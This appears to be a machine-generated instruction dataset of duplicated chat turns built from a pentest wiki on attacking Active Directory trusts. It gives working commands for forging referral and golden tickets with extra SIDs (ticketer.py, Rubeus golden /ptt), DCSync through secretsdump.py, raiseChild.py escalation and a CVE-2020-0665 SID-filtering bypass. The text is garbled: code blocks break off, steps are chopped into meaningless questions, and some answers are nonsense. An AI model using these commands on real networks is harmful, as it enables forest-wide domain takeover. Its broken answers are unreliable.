A forest is probably managed by a Bastion Forest when the TRUST_ATTRIBUTE_PIM_TRUST (0x400) flag is set in the trust attributes.

To enumerate the Shadow Security Principals, and LDAP query can be made to list the Name, member, and msDS-ShadowPrincipalSid attributes of Shadow Principals in the CN=Shadow Principal Configuration,CN=Services,{CONFIGURATION_NAMING_CONTEXT} container.

* name: name of the shadow principal
* member: principals (from the Bastion Forest) mapped to it
* msDS-ShadowPrincipalSid: the SID of the principal (from the Production Forest) whose privileges are assigned to the shadow security principal.
:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Trusts - BloodHound during a pentest?

[Assistant]
BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

:::

In addition to enumerating trusts, retrieving information about the permissions of trusted principals against trusting resources could also allow for lateral movement and privilege escalation. The recon techniques will depend on the permissions to abuse (DACL, Kerberos delegations, etc.).

A forest is probably managed by a Bastion Forest when the TRUST_ATTRIBUTE_PIM_TRUST (0x400) flag is set in the trust attributes.

To enumerate the Shadow Security Principals, and LDAP query can be made to list the Name, member, and msDS-ShadowPrincipalSid attributes of Shadow Principals in the CN=Shadow Principal Configuration,CN=Services,{CONFIGURATION_NAMING_CONTEXT} container.

* name: name of the shadow principal
* member: principals (from the Bastion Forest) mapped to it
* msDS-ShadowPrincipalSid: the SID of the principal (from the Production Forest) whose privileges are assigned to the shadow security principal.
:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Trusts - BloodHound during a pentest?

Response:
BloodHound can also be used to map the trusts. While it doesn't provide much details, it shows a visual representation.

:::

In addition to enumerating trusts, retrieving information about the permissions of trusted principals against trusting resources could also allow for lateral movement and privilege escalation. The recon techniques will depend on the permissions to abuse (DACL, Kerberos delegations, etc.).

A forest is probably managed by a Bastion Forest when the TRUST_ATTRIBUTE_PIM_TRUST (0x400) flag is set in the trust attributes.

To enumerate the Shadow Security Principals, and LDAP query can be made to list the Name, member, and msDS-ShadowPrincipalSid attributes of Shadow Principals in the CN=Shadow Principal Configuration,CN=Services,{CONFIGURATION_NAMING_CONTEXT} container.

* name: name of the shadow principal
* member: principals (from the Bastion Forest) mapped to it
* msDS-ShadowPrincipalSid: the SID of the principal (from the Production Forest) whose privileges are assigned to the shadow security principal.
:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Trusts - Forging tickets

[Assistant]
When authenticating across trusts, an attacker can forge either:

1. A referral ticket (inter-realm TGT) using the inter-realm trust key
2. A golden ticket using the compromised domain's krbtgt hash

In both cases, additional security identifiers (SIDs) can be added as "extra SID" to be considered as part of the user's SID history when authenticating. Alternatively, the SID could be added beforehand, directly in the SID history attribute, with mimikatz sid:add command, but that's a topic for another day.

> [!IMPORTANT]
> When forging tickets, before November 2021 updates, the username supplied was mostly useless. As of Nov. 2021 updates, if the username supplied doesn't exist in Active Directory, the ticket gets rejected. This applies to both referral tickets and golden tickets.

Then, when using the ticket, the SID history would be taken into account and could grant elevated privileges (depending on how SID filtering is configured in the trust):

* If the attacker is moving across an intra-forest trust, it would allow to compromise the forest root, and by extension, all the forest, since Enterprise Admins can access all domains' domain controllers as admin (because the security boundary is the forest, not the domain).
* If the attacker is moving across an inter-forest trust, it could allow to compromise the trusting domain, depending on how SID filtering is configured, and if there are some groups that have sufficient permissions.

In conclusion, before attacking trusts, it's required to enumerate them, as well as enumerate the target (trusting) domain's resources. See enumeration.

* If SID filtering is disabled in the targeted trust relationship (see SID filtering and Enumeration), a ticket (referral ticket, or golden ticket) can be forged with an extra SID that contains the root domain and the RID of the "Enterprise Admins" group (i.e. S-1-5-21--519). The ticket can then be used to access the trusting domain controller as admin and conduct a DCSync attack.
* If

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
When authenticating across trusts, an attacker can forge either:

1. A referral ticket (inter-realm TGT) using the inter-realm trust key
2. A golden ticket using the compromised domain's krbtgt hash

In both cases, additional security identifiers (SIDs) can be added as "extra SID" to be considered as part of the user's SID history when authenticating. Alternatively, the SID could be added beforehand, directly in the SID history attribute, with mimikatz sid:add command, but that's a topic for another day.

> [!IMPORTANT]
> When forging tickets, before November 2021 updates, the username supplied was mostly useless. As of Nov. 2021 updates, if the username supplied doesn't exist in Active Directory, the ticket gets rejected. This applies to both referral tickets and golden tickets.

Then, when using the ticket, the SID history would be taken into account and could grant elevated privileges (depending on how SID filtering is configured in the trust):

* If the attacker is moving across an intra-forest trust, it would allow to compromise the forest root, and by extension, all the forest, since Enterprise Admins can access all domains' domain controllers as admin (because the security boundary is the forest, not the domain).
* If the attacker is moving across an inter-forest trust, it could allow to compromise the trusting domain, depending on how SID filtering is configured, and if there are some groups that have sufficient permissions.

In conclusion, before attacking trusts, it's required to enumerate them, as well as enumerate the target (trusting) domain's resources. See enumeration.

* If SID filtering is disabled in the targeted trust relationship (see SID filtering and Enumeration), a ticket (referral ticket, or golden ticket) can be forged with an extra SID that contains the root domain and the RID of the "Enterprise Admins" group (i.e. S-1-5-21--519). The ticket can then be used to access the trusting domain controller as admin and conduct a DCSync attack.
* If


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Trusts - Forging tickets during a pentest?

[Assistant]
When authenticating across trusts, an attacker can forge either:

1. A referral ticket (inter-realm TGT) using the inter-realm trust key
2. A golden ticket using the compromised domain's krbtgt hash

In both cases, additional security identifiers (SIDs) can be added as "extra SID" to be considered as part of the user's SID history when authenticating. Alternatively, the SID could be added beforehand, directly in the SID history attribute, with mimikatz sid:add command, but that's a topic for another day.

> [!IMPORTANT]
> When forging tickets, before November 2021 updates, the username supplied was mostly useless. As of Nov. 2021 updates, if the username supplied doesn't exist in Active Directory, the ticket gets rejected. This applies to both referral tickets and golden tickets.

Then, when using the ticket, the SID history would be taken into account and could grant elevated privileges (depending on how SID filtering is configured in the trust):

* If the attacker is moving across an intra-forest trust, it would allow to compromise the forest root, and by extension, all the forest, since Enterprise Admins can access all domains' domain controllers as admin (because the security boundary is the forest, not the domain).
* If the attacker is moving across an inter-forest trust, it could allow to compromise the trusting domain, depending on how SID filtering is configured, and if there are some groups that have sufficient permissions.

In conclusion, before attacking trusts, it's required to enumerate them, as well as enumerate the target (trusting) domain's resources. See enumeration.

* If SID filtering is disabled in the targeted trust relationship (see SID filtering and Enumeration), a ticket (referral ticket, or golden ticket) can be forged with an extra SID that contains the root domain and the RID of the "Enterprise Admins" group (i.e. S-1-5-21--519). The ticket can then be used to access the trusting domain controller as admin and conduct a DCSync attack.
* If

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Trusts - Forging tickets during a pentest?

Response:
When authenticating across trusts, an attacker can forge either:

1. A referral ticket (inter-realm TGT) using the inter-realm trust key
2. A golden ticket using the compromised domain's krbtgt hash

In both cases, additional security identifiers (SIDs) can be added as "extra SID" to be considered as part of the user's SID history when authenticating. Alternatively, the SID could be added beforehand, directly in the SID history attribute, with mimikatz sid:add command, but that's a topic for another day.

> [!IMPORTANT]
> When forging tickets, before November 2021 updates, the username supplied was mostly useless. As of Nov. 2021 updates, if the username supplied doesn't exist in Active Directory, the ticket gets rejected. This applies to both referral tickets and golden tickets.

Then, when using the ticket, the SID history would be taken into account and could grant elevated privileges (depending on how SID filtering is configured in the trust):

* If the attacker is moving across an intra-forest trust, it would allow to compromise the forest root, and by extension, all the forest, since Enterprise Admins can access all domains' domain controllers as admin (because the security boundary is the forest, not the domain).
* If the attacker is moving across an inter-forest trust, it could allow to compromise the trusting domain, depending on how SID filtering is configured, and if there are some groups that have sufficient permissions.

In conclusion, before attacking trusts, it's required to enumerate them, as well as enumerate the target (trusting) domain's resources. See enumeration.

* If SID filtering is disabled in the targeted trust relationship (see SID filtering and Enumeration), a ticket (referral ticket, or golden ticket) can be forged with an extra SID that contains the root domain and the RID of the "Enterprise Admins" group (i.e. S-1-5-21--519). The ticket can then be used to access the trusting domain controller as admin and conduct a DCSync attack.
* If


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Trusts - Referral ticket work?

[Assistant]
When forging a referral ticket, a service ticket request must be conducted before trying to access the domain controller. The referral ticket is encrypted with the inter-realm key shared between the two domains.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket scripts (Python) can be used:

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
When forging a referral ticket, a service ticket request must be conducted before trying to access the domain controller. The referral ticket is encrypted with the inter-realm key shared between the two domains.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket scripts (Python) can be used:

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Trusts - Referral ticket?

[Assistant]
When forging a referral ticket, a service ticket request must be conducted before trying to access the domain controller. The referral ticket is encrypted with the inter-realm key shared between the two domains.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket scripts (Python) can be used:

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Trusts - Referral ticket?

Response:
When forging a referral ticket, a service ticket request must be conducted before trying to access the domain controller. The referral ticket is encrypted with the inter-realm key shared between the two domains.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket scripts (Python) can be used:

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 1. forge the referral ticket

[Assistant] ticketer.py -nthash "inter-realm key" -domain-sid "compromised_domain_SID" -domain "compromised_domain_FQDN" -extra-sid "<target_domain_SID>-<RID>" -spn "krbtgt/target_domain_fqdn" "someusername"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 1. forge the referral ticket

Response: ticketer.py -nthash "inter-realm key" -domain-sid "compromised_domain_SID" -domain "compromised_domain_FQDN" -extra-sid "<target_domain_SID>-<RID>" -spn "krbtgt/target_domain_fqdn" "someusername"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 1. forge the referral ticket

[Assistant] ticketer.py -nthash "inter-realm key" -domain-sid "compromised_domain_SID" -domain "compromised_domain_FQDN" -extra-sid "<target_domain_SID>-<RID>" -spn "krbtgt/target_domain_fqdn" "someusername"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 1. forge the referral ticket

Response: ticketer.py -nthash "inter-realm key" -domain-sid "compromised_domain_SID" -domain "compromised_domain_FQDN" -extra-sid "<target_domain_SID>-<RID>" -spn "krbtgt/target_domain_fqdn" "someusername"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does 2. use it to request a service ticket work?

[Assistant]
KRB5CCNAME="someusername.ccache" getST.py -k -no-pass -debug -spn "CIFS/domain_controller" "target_domain_fqdn/someusername@target_domain_fqdn"
``

=== Windows

From Windows machines, Rubeus (C#) can be used:

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does 2. use it to request a service ticket work?

Response:
KRB5CCNAME="someusername.ccache" getST.py -k -no-pass -debug -spn "CIFS/domain_controller" "target_domain_fqdn/someusername@target_domain_fqdn"
``

=== Windows

From Windows machines, Rubeus (C#) can be used:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 2. use it to request a service ticket?

[Assistant]
KRB5CCNAME="someusername.ccache" getST.py -k -no-pass -debug -spn "CIFS/domain_controller" "target_domain_fqdn/someusername@target_domain_fqdn"
``

=== Windows

From Windows machines, Rubeus (C#) can be used:

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 2. use it to request a service ticket?

Response:
KRB5CCNAME="someusername.ccache" getST.py -k -no-pass -debug -spn "CIFS/domain_controller" "target_domain_fqdn/someusername@target_domain_fqdn"
``

=== Windows

From Windows machines, Rubeus (C#) can be used:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 2. use it to request a service ticket during a pentest?

[Assistant]
=== Windows

From Windows machines, [Rubeus](https://github.com/GhostPack/Rubeus) (C#) can be used:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 2. use it to request a service ticket during a pentest?

Response:
=== Windows

From Windows machines, [Rubeus](https://github.com/GhostPack/Rubeus) (C#) can be used:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for 2. use it to request a service ticket. 2. use it to request a service ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for 2. use it to request a service ticket. 2. use it to request a service ticket


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Trusts - Golden ticket in the context of penetration testing

[Assistant]
When forging a golden ticket, the target domain controller will handle the service ticket generation itself. The golden ticket is encrypted with the compromised domain's krbtgt hash.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket scripts (Python) can be used:

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Trusts - Golden ticket in the context of penetration testing

Response:
When forging a golden ticket, the target domain controller will handle the service ticket generation itself. The golden ticket is encrypted with the compromised domain's krbtgt hash.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket scripts (Python) can be used:

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Trusts - Golden ticket

[Assistant]
When forging a golden ticket, the target domain controller will handle the service ticket generation itself. The golden ticket is encrypted with the compromised domain's krbtgt hash.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket scripts (Python) can be used:

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Trusts - Golden ticket

Response:
When forging a golden ticket, the target domain controller will handle the service ticket generation itself. The golden ticket is encrypted with the compromised domain's krbtgt hash.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket scripts (Python) can be used:

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Generate golden ticket with extra SID in the context of penetration testing

[Assistant] ticketer.py -nthash "compromised_domain_krbtgt_NT_hash" -domain-sid "compromised_domain_SID" -domain "compromised_domain_FQDN" -extra-sid "<target_domain_SID>-<RID>" "someusername"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Generate golden ticket with extra SID in the context of penetration testing

Response: ticketer.py -nthash "compromised_domain_krbtgt_NT_hash" -domain-sid "compromised_domain_SID" -domain "compromised_domain_FQDN" -extra-sid "<target_domain_SID>-<RID>" "someusername"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Generate golden ticket with extra SID?

[Assistant] ticketer.py -nthash "compromised_domain_krbtgt_NT_hash" -domain-sid "compromised_domain_SID" -domain "compromised_domain_FQDN" -extra-sid "<target_domain_SID>-<RID>" "someusername"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Generate golden ticket with extra SID?

Response: ticketer.py -nthash "compromised_domain_krbtgt_NT_hash" -domain-sid "compromised_domain_SID" -domain "compromised_domain_FQDN" -extra-sid "<target_domain_SID>-<RID>" "someusername"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is The ticket can be used directly with any tool supporting Kerberos auth?

[Assistant]
KRB5CCNAME="someusername.ccache" secretsdump.py -k -no-pass "compromised_domain_FQDN/someusername@domain_controller"
``

Impacket's raiseChild.py script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled:

`bash
raiseChild.py "compromised_domain"/"compromised_domain_admin":"$PASSWORD"
`

=== Windows

From Windows machines, Rubeus (C#) can be used:

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is The ticket can be used directly with any tool supporting Kerberos auth?

Response:
KRB5CCNAME="someusername.ccache" secretsdump.py -k -no-pass "compromised_domain_FQDN/someusername@domain_controller"
``

Impacket's raiseChild.py script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled:

`bash
raiseChild.py "compromised_domain"/"compromised_domain_admin":"$PASSWORD"
`

=== Windows

From Windows machines, Rubeus (C#) can be used:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for The ticket can be used directly with any tool supporting Kerberos auth

[Assistant]
KRB5CCNAME="someusername.ccache" secretsdump.py -k -no-pass "compromised_domain_FQDN/someusername@domain_controller"
``

Impacket's raiseChild.py script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled:

`bash
raiseChild.py "compromised_domain"/"compromised_domain_admin":"$PASSWORD"
`

=== Windows

From Windows machines, Rubeus (C#) can be used:

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for The ticket can be used directly with any tool supporting Kerberos auth

Response:
KRB5CCNAME="someusername.ccache" secretsdump.py -k -no-pass "compromised_domain_FQDN/someusername@domain_controller"
``

Impacket's raiseChild.py script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled:

`bash
raiseChild.py "compromised_domain"/"compromised_domain_admin":"$PASSWORD"
`

=== Windows

From Windows machines, Rubeus (C#) can be used:

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do The ticket can be used directly with any tool supporting Kerberos auth

[Assistant] Impacket's [raiseChild.py](https://github.com/fortra/impacket/blob/master/examples/raiseChild.py) script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do The ticket can be used directly with any tool supporting Kerberos auth

Response: Impacket's [raiseChild.py](https://github.com/fortra/impacket/blob/master/examples/raiseChild.py) script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Impacket's [raiseChild.py](https://github.com/fortra/impacket/blob/master/examples/raiseChild.py) script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled:`?

[Assistant] This command is used for the ticket can be used directly with any tool supporting kerberos auth. The ticket can be used directly with any tool supporting Kerberos auth

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Impacket's [raiseChild.py](https://github.com/fortra/impacket/blob/master/examples/raiseChild.py) script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled:`?

Response: This command is used for the ticket can be used directly with any tool supporting kerberos auth. The ticket can be used directly with any tool supporting Kerberos auth


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Generate golden ticket with extra SID and use Pass-the-Ticket?

[Assistant] Rubeus.exe golden /user:Administrator /domain:<compromised_domain_FQDN> /sid:<compromised_domain_SID> /sids:<target_domain_SID>-<RID> /krbtgt:<compromised_domain_krbtgt_NT_hash> /ptt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Generate golden ticket with extra SID and use Pass-the-Ticket?

Response: Rubeus.exe golden /user:Administrator /domain:<compromised_domain_FQDN> /sid:<compromised_domain_SID> /sids:<target_domain_SID>-<RID> /krbtgt:<compromised_domain_krbtgt_NT_hash> /ptt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Generate golden ticket with extra SID and use Pass-the-Ticket?

[Assistant] Rubeus.exe golden /user:Administrator /domain:<compromised_domain_FQDN> /sid:<compromised_domain_SID> /sids:<target_domain_SID>-<RID> /krbtgt:<compromised_domain_krbtgt_NT_hash> /ptt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Generate golden ticket with extra SID and use Pass-the-Ticket?

Response: Rubeus.exe golden /user:Administrator /domain:<compromised_domain_FQDN> /sid:<compromised_domain_SID> /sids:<target_domain_SID>-<RID> /krbtgt:<compromised_domain_krbtgt_NT_hash> /ptt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Trusts - 🛠 SID filtering bypass

[Assistant]
> a few SIDs will (almost) never be filtered: "Enterprise Domain Controllers" (S-1-5-9) SID and those described by the trusted domain object (TDO), as well as seven well-known SIDs (see MS-PAC doc, and improsec's blogpost).
>
> _(__SID filtering_ _theory)_

_//_ _https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research_

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> a few SIDs will (almost) never be filtered: "Enterprise Domain Controllers" (S-1-5-9) SID and those described by the trusted domain object (TDO), as well as seven well-known SIDs (see MS-PAC doc, and improsec's blogpost).
>
> _(__SID filtering_ _theory)_

_//_ _https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research_


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Trusts - 🛠 SID filtering bypass

[Assistant]
> a few SIDs will (almost) never be filtered: "Enterprise Domain Controllers" (S-1-5-9) SID and those described by the trusted domain object (TDO), as well as seven well-known SIDs (see MS-PAC doc, and improsec's blogpost).
>
> _(__SID filtering_ _theory)_

_//_ _https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research_

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Trusts - 🛠 SID filtering bypass

Response:
> a few SIDs will (almost) never be filtered: "Enterprise Domain Controllers" (S-1-5-9) SID and those described by the trusted domain object (TDO), as well as seven well-known SIDs (see MS-PAC doc, and improsec's blogpost).
>
> _(__SID filtering_ _theory)_

_//_ _https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research_


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Trusts - CVE-2020-0665

[Assistant]
The idea behind CVE-2020-0665 is to bypass SID filtering to authenticate as a server in the trusting forest targeting the local admin on this server (RID = 500). To do so, the local domain SID of the server is spoofed to "fake" a child domain in the trusted forest, which will be added to the list of trusted SIDs in the trusting forest domain's TDO (Trusted Domain Object) after 24 hours (see SID filtering). An inter-realm/referral ticket will then be forged using the spoofed SID as extended SID which will be used to request a service ticket to that server (see Forging tickets).

The attack is conducted as follows:

1. Get the local domain's SID of the target server. This step requires Windows older than Windows 10 build 1607, or before Server 2016, as it uses MS-LSAT RPC to query the target server for the SID of its local domain, that is restricted on newer versions and requires administrative privileges on the target.
2. Spoof the local domain's SID of the target server. This steps must be run as SYSTEM on the trusted forest's domain controller. The Frida script used for this step is made for Windows Server 2016 version 1607. If the target runs a different version, the address offset might be different and some additional preparation must be done.
3. Forging tickets. For this step, refer to Kerberos authentication theory chapter for more details about the trust key being used, the ticket forgery is then highly similar to the Forging tickets practice part.

> [!TIP]
> For more details about how this attack works under the hood, refer to the article on dirkjanm.io by Dirk-jan Mollema.

> [!WARNING]
> Some considerations to reproduce the attack:
>
> * Full control over the trusted forest is assumed.
> * Information that flows over to the trusting forest can be modified.
> * There is at least one server joined to a domain in the trusting forest (referred to as the "target server" here).

The attack can be conducted with Dirk-jan Mollema's forest trust tools.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Trusts - CVE-2020-0665

Response:
The idea behind CVE-2020-0665 is to bypass SID filtering to authenticate as a server in the trusting forest targeting the local admin on this server (RID = 500). To do so, the local domain SID of the server is spoofed to "fake" a child domain in the trusted forest, which will be added to the list of trusted SIDs in the trusting forest domain's TDO (Trusted Domain Object) after 24 hours (see SID filtering). An inter-realm/referral ticket will then be forged using the spoofed SID as extended SID which will be used to request a service ticket to that server (see Forging tickets).

The attack is conducted as follows:

1. Get the local domain's SID of the target server. This step requires Windows older than Windows 10 build 1607, or before Server 2016, as it uses MS-LSAT RPC to query the target server for the SID of its local domain, that is restricted on newer versions and requires administrative privileges on the target.
2. Spoof the local domain's SID of the target server. This steps must be run as SYSTEM on the trusted forest's domain controller. The Frida script used for this step is made for Windows Server 2016 version 1607. If the target runs a different version, the address offset might be different and some additional preparation must be done.
3. Forging tickets. For this step, refer to Kerberos authentication theory chapter for more details about the trust key being used, the ticket forgery is then highly similar to the Forging tickets practice part.

> [!TIP]
> For more details about how this attack works under the hood, refer to the article on dirkjanm.io by Dirk-jan Mollema.

> [!WARNING]
> Some considerations to reproduce the attack:
>
> * Full control over the trusted forest is assumed.
> * Information that flows over to the trusting forest can be modified.
> * There is at least one server joined to a domain in the trusting forest (referred to as the "target server" here).

The attack can be conducted with Dirk-jan Mollema's forest trust tools.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Trusts - CVE-2020-0665

[Assistant]
The idea behind CVE-2020-0665 is to bypass SID filtering to authenticate as a server in the trusting forest targeting the local admin on this server (RID = 500). To do so, the local domain SID of the server is spoofed to "fake" a child domain in the trusted forest, which will be added to the list of trusted SIDs in the trusting forest domain's TDO (Trusted Domain Object) after 24 hours (see SID filtering). An inter-realm/referral ticket will then be forged using the spoofed SID as extended SID which will be used to request a service ticket to that server (see Forging tickets).

The attack is conducted as follows:

1. Get the local domain's SID of the target server. This step requires Windows older than Windows 10 build 1607, or before Server 2016, as it uses MS-LSAT RPC to query the target server for the SID of its local domain, that is restricted on newer versions and requires administrative privileges on the target.
2. Spoof the local domain's SID of the target server. This steps must be run as SYSTEM on the trusted forest's domain controller. The Frida script used for this step is made for Windows Server 2016 version 1607. If the target runs a different version, the address offset might be different and some additional preparation must be done.
